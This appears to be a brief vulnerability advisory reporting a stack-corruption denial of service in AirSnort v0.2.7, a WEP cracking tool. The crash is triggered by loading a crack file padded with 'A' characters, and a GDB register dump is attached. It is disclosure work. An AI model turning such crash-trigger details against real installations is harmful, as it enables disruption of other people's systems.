AirSnort v0.2.7 Stack Corruption DOS

Subject: AirSnort v0.2.7 Stack Corruption DOS

[+] Credits: Hyp3rlinx  

[+] Website:

[+] Source:

[+] ISR: ApparitionSec


AirSnort v0.2.7

AirSnort is a wireless LAN (WLAN) tool which cracks encryption keys on 802.11b WEP networks. AirSnort operates
by passively monitoring transmissions, computing the encryption key when enough packets have been gathered.

Vulnerability Type:
Stack Corruption DOS

Vulnerability Details:

When open / load a corrupt 'crackfile' with bunch of 'AAAAAAAAAAAAAAAAAAAAAAAAAA's... airsnort crashes and stack is corrupted.
Under File / Load "Crack" File... open corrupt crackfile with bunch of 'A' chars then BOOM...

Tested successfully on Linux OS.

GDB reg dump

Program received signal SIGSEGV, Segmentation fault.
0xb72780e5 in __mempcpy_ia32 () from /lib/
(gdb) info r
eax            0x4141413b      1094795579
ecx            0x3e3     995
edx            0x829e9d8        136964568
ebx            0xb73c1000 -1220800512
esp            0xbfffe1dc       0xbfffe1dc
ebp            0x0       0x0
esi            0xb67cf00a       -1233326070
edi            0x0      0
eip            0xb72780e5 0xb72780e5 <__mempcpy_ia32+21>
eflags         0x210203    [ CF IF RF ID ]
cs             0x73 115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33       51

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